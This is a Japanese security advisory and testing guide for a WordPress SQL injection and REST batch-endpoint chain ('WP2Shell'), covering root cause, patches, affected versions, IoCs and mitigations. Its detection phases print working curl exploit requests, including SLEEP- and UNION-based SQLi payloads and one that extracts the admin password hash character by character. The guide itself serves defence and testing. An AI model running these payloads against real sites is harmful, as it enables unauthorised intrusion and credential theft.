CVE-2026-60137 · CVE-2026-63030

WordPress Core SQL Injection & Unauthenticated RCE Chain ("WP2Shell")

CVSS 9.1 Critical Patched Exploit Active CWE CWE-89 GHSA GHSA-fpp7-x2x2-2mjf GHSA GHSA-ff9f-jf42-662q
TL;DR

WordPress CoreのWP_Queryクラスにおけるauthor__not_inパラメータのSQLインジェクション脆弱性(CVE-2026-60137)。単独では認証が必要だが、REST APIバッチエンドポイントのルート混同脆弱性(CVE-2026-63030)と連鎖することで、認証なしのRemote Code Executionに至る。2026年7月17日に公開され、同日中に実攻撃が観測され始めた。影響を受けるバージョン(6.8.0〜7.0.1)は即時のアップデートが必要。

タイムライン


2026-07-17
脆弱性公開。WordPress Security Teamが6.8.6、6.9.5、7.0.2をリリース。影響を受けるサイトに対して強制自動アップデートを有効化。Searchlight Cyberが「WP2Shell」ニックネームで advisory 公開。
2026-07-17 17:03 UTC
WAFルールデプロイ。Cloudflareが全プラン(無料含む)向けに2つの新WAFルールを自動デプロイ。
2026-07-17 ~19:00 ET
実攻撃の観測開始。PatchStackがCVE-2026-63030を標的とした攻撃を観測報告。VulnCheckも"in-the-wild exploitation"の初期報告を確認。
2026-07-17
Wordfence対応。Premium/Care/Responseユーザー向けにファイアウォールルールを即時配信(Freeは8月16日配信予定)。
2026-07-17
PoC公開。複数研究者がGitHubでPoCエクスプロイトを公開(CVE-2026-63030向け)。

根本原因


src/wp-includes/class-wp-query.phpget_posts() メソッド内、author__not_inパラメータの処理ロジックに脆弱性があった。配列の場合はabsint()で整数変換されるが、配列でない値(文字列など)が渡された場合、(array)でキャスト後にそのままSQLクエリに埋め込まれていた。

src/wp-includes/class-wp-query.php — 脆弱なコード
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
- $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
- $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

修正コミット 97b5a75 では、wp_parse_id_list() を使用して入力を常に整数リストに強制変換するロジックに置き換えられた:

src/wp-includes/class-wp-query.php — 修正後のコード
if ( ! empty( $query_vars['author__not_in'] ) ) {
+ $author__not_in_id_list = wp_parse_id_list( $query_vars['author__not_in'] );
+ if ( count( $author__not_in_id_list ) > 0 ) {
+ sort( $author__not_in_id_list );
+ $where .= sprintf(
+ " AND {$wpdb->posts}.post_author NOT IN (%s) ",
+ implode( ',', $author__not_in_id_list )
+ );
+ $query_vars['author__not_in'] = $author__not_in_id_list;
+ }
}

RCE連鎖を可能にするCVE-2026-63030の修正(コミット fa72c12)では、REST APIのserve_request()rest_api_loaded()is_dispatching()チェックを追加し、バッチエンドポイントのサブリクエストが誤ったRESTルートとして処理されることを防ぐ。

攻撃フロー


1
攻撃者が POST /wp-json/batch/v1 を送信
2
CVE-2026-63030: バッチエンドポイントのルート混同により、認証チェックをバイパス
3
CVE-2026-60137: author__not_in経由でSQLインジェクション実行
4
MySQLから管理者ユーザーのパスワードハッシュをダンプ・クラック
5
管理者としてログインし、テーマエディタ/メディアアップロードでPHPファイル配置 → RCE

VulnCheckの評価によれば、RCEは「ストレートショット」ではなく多段ステップを要する。ただし、インストールされたサードパーティプラグインによっては、初期アクセスクリークからのRCEパスが追加で存在する可能性がある。

影響バージョン


ブランチ 影響範囲 修正バージョン 影響を受ける脆弱性
WordPress 6.8.x 6.8.0 – 6.8.5 6.8.6 CVE-2026-60137 (SQLi) のみ
WordPress 6.9.x 6.9.0 – 6.9.4 6.9.5 SQLi + RCE chain
WordPress 7.0.x 7.0.0 – 7.0.1 7.0.2 SQLi + RCE chain
WordPress < 6.8 影響なし

PoC / Exploit 状況


公開PoCあり — CVE-2026-63030 (RCE chain) 向けに複数のPoCがGitHub公開済み
検知用PoCあり — Senanfurkan/wordpress-cve-2026-63030
Exploit成熟度PoC → Weaponization進行中
実利用PatchStackが2026-07-17に攻撃を観測、VulnCheckも確認
チェックツールSearchlight Cyber が wp2shell.com で公開

検出方法


Phase 1: 事前情報収集 — WordPress検出とREST API可用性確認

curl — WordPress検出とREST API可用性確認
# 1. WordPress検出(ジェネレーターメタタグ)
curl -sL "https://target.com/" | grep -oP 'content="WordPress [^"]*"'
# 出力: content="WordPress 7.0.1"
# 2. REST APIエンドポイント確認
curl -sL "https://target.com/wp-json/" | head -20
# 出力: {"namespace":"","routes":{"/":{...},"/wp/v2":{...}}}
# 3. REST APIの/usersエンドポイント公開確認
curl -sL "https://target.com/wp-json/wp/v2/users" | python3 -m json.tool | head
# 出力: [{"id":1,"name":"admin",...}]
判定基準
影響あり: WordPressバージョンが確認され、/wp-json/ が応答を返す

Phase 2: バッチエンドポイント到達性確認

WP2Shell攻撃の唯一の入り口である /wp-json/batch/v1 の到達性をテストする。

curl — バッチエンドポイントテスト(2つのパス)
# テストA: 標準RESTパス
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests":[]}'
# 期待応答: {"code":"rest_missing_callback_param","message":...}
# テストB: クエリパラメータパス
curl -sX POST "https://target.com/?rest_route=/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests":[]}'
# 期待応答: 同上

Phase 3: バージョンフィンガープリント

バージョン範囲CVE-2026-60137 (SQLi)CVE-2026-63030 (RCE)修正バージョン
< 6.8.0影響なし影響なし
6.8.0 – 6.8.5影響あり影響なし6.8.6
6.9.0 – 6.9.4影響あり影響あり6.9.5
7.0.0 – 7.0.1影響あり影響あり7.0.2
6.8.6, 6.9.5, 7.0.2+修正済み修正済み

Phase 4: SQLインジェクション検出

⚠️ 警告: 以下のテストは非破壊的(データ読み取りのみ)。本番環境で実行する場合は事前に許可を得ること。

4a: ルート混同のトリガー

curl — バッチリクエストでルート混同トリガー
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{
"requests": [
{"method": "GET", "path": "http://:malformed"},
{"method": "GET", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}}
]
}'

4b: Time-Based Blind SQLi検出

Time-Based Blind SQLi テスト
# 正常なリクエスト(ベースライン)
time curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests": [
{"method":"GET","path":"http://:invalid"},
{"method":"GET","path":"/wp/v2/posts","body":{"author_exclude":"1 OR 1=1"}}
]}'
# 期待: 正常な応答時間(例: 0.3秒)
# SLEEPペイロード(5秒遅延)
time curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests": [
{"method":"GET","path":"http://:invalid"},
{"method":"GET","path":"/wp/v2/posts","body":{"author_exclude":"1 AND SLEEP(5)"}}
]}'
# 脆弱な場合: 5秒+の遅延
# 修正済み: 即時応答(author__not_inが整数に強制変換される)

4c: Error-Based SQLi(MySQLエラー表示が有効な場合)

Error-Based SQLi テスト
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests": [
{"method":"GET","path":"http://:invalid"},
{"method":"GET","path":"/wp/v2/posts","body":{"author_exclude":"1 UNION SELECT database()-- "}}
]}'

4d: データ抽出(管理者ハッシュ取得)

管理者パスワードハッシュ抽出ペイロード
# adminユーザーのuser_passハッシュを1文字ずつ抽出(binary search)
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests": [
{"method":"GET","path":"http://:invalid"},
{"method":"GET","path":"/wp/v2/posts","body":{"author_exclude":"1 AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=char(97,100,109,105,110) LIMIT 1),1,1))>100,SLEEP(3),1)"}}
]}'
# 遅延あり → 1文字目のASCII > 100
# 遅延なし → 1文字目のASCII <= 100
判定基準
脆弱: SLEEPペイロードで応答時間が指定秒数遅延する
修正済み: 応答時間に遅延なし(wp_parse_id_list()で整数化されるためSQLi不可能)

Phase 5: RCE連鎖検証(非破壊)

1
バッチエンドポイント到達性確認(Phase 2) → OK
2
ルート混同トリガー確認(Phase 4a) → OK
3
SQLi検出(Phase 4b) → OK
4
公開ユーザー列挙 → /wp-json/wp/v2/users でadminユーザーID確認
5
パスワードハッシュ抽出可能か → SLEEP/UNIONベースで検証
6
【非破壊】 ここで停止。実際のハッシュ抽出・クラック・ログインは実行しない

Phase 6: 侵害インジケータ(IoC)調査

WebサーバーログでのWP2Shell IoC検索
# 1. バッチエンドポイントへの不審なPOSTリクエスト
grep -E "POST.*(batch/v1|rest_route=/batch)" /var/log/nginx/access.log
# 2. malformed path(http://: または http::)を含むリクエスト
grep -E "http://:|http::" /var/log/nginx/access.log
# 3. SQLiキーワードを含むauthor_excludeパラメータ
grep -iE "SELECT|UNION|SLEEP|CHAR_LENGTH|SUBSTRING" /var/log/nginx/access.log
# 4. wp2shellプラグインアップロードの痕跡
grep -E "multipart/form-data.*wp2shell" /var/log/nginx/access.log
# 5. wp2shellプラグインディレクトリとPHPファイルの存在確認
find /var/www/*/wp-content/plugins/ -name "wp2shell*" -type f 2>/dev/null
# 6. wp2shellコマンド実行マーカー
grep -E "WP2SHELL_OUT_START|WP2SHELL_OUT_END|WP2SHELL_REMOVED" /var/log/nginx/access.log
インジケータ信頼度説明
POST /wp-json/batch/v1バッチエンドポイントへのアクセス(スキャンまたは攻撃)
malformed http://: pathWP2Shell特有のルート混同トリガー
author_excludeにSELECT/SLEEPSQLインジェクションの試行
User-Agent: wp2shell-check/1.0wp2shellスキャナーの使用(改変可能)
----wp2shell multipart境界PoCエクスプロイトのプラグインアップロード
wp-content/plugins/wp2shell-*アップロードされた悪意あるプラグイン
?tok=&c= コマンド実行確認済みのコマンド実行リクエスト
WP2SHELL_OUT_STARTコマンド出力マーカー(レスポンスボディ)

Phase 7: WAF/防御テスト

WAFルール検証テスト
# Cloudflare WAFルールのテスト
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests": [
{"method":"GET","path":"http://:invalid"},
{"method":"GET","path":"/wp/v2/posts","body":{"author_exclude":"1 AND SLEEP(5)"}}
]}' -o /dev/null -w "%{http_code}"
# 403 → WAFがブロック(防御有効)
# 207 → WAFが通過(防御無効またはルール未適用)
WAFルールIDテスト結果判定
Cloudflare Managed1c060d3a...403 Block防御有効 ✓
Cloudflare Freedb003b39...403 Block防御有効 ✓
Wordfence Premium403 Block防御有効 ✓
Wordfence Free2026-08-16まで未保護
WAFなし207 Multi-Status未保護 ✗

ツールとスキャナー

ツールタイプ破壊性使用方法
wp2shell-scanner (Python)非破壊スキャン安全python3 wp2shell.py https://target
wp2shell-exposure.yamlNucleiテンプレート安全nuclei -t wp2shell-exposure.yaml -u https://target
wp2shell.comSearchlight チェッカー安全ブラウザでURL入力
sqlmap自動SQLiテスト要注意sqlmap --batch -r request.txt --level=5
Burp Suite手動テスト要注意Proxy → Repeater で手動ペイロード

ホワイトボックステスト

ソースコード上の脆弱パターン:

grep で脆弱パターンを確認
# 脆弱バージョンのコードで grep
grep -rn "author__not_in" wp-includes/class-wp-query.php
# 修正前: (array) $query_vars['author__not_in'] が直接SQLに埋め込まれているか確認
# 修正後: wp_parse_id_list() を使用しているか確認
# 修正確認
grep -n "wp_parse_id_list.*author__not_in" wp-includes/class-wp-query.php
# 結果が存在すれば修正済み

対策


WordPressを修正バージョンにアップデート(6.8.6 / 6.9.5 / 7.0.2) Critical
Cloudflare WAFルールの有効化を確認(無料プラン含む) High
Wordfenceファイアウォールルールの適用を確認(Premiumは即時、Freeは8/16) High
パッチ適用不可の場合、/wp-json/batch/v1?rest_route=/batch/v1 をWAFでブロック Critical
データベースアクセスログの監視 — 不審なSQLクエリパターンをアラート設定 Medium
サードパーティプラグインの追加RCEパスの有無を監査 Medium

参考資料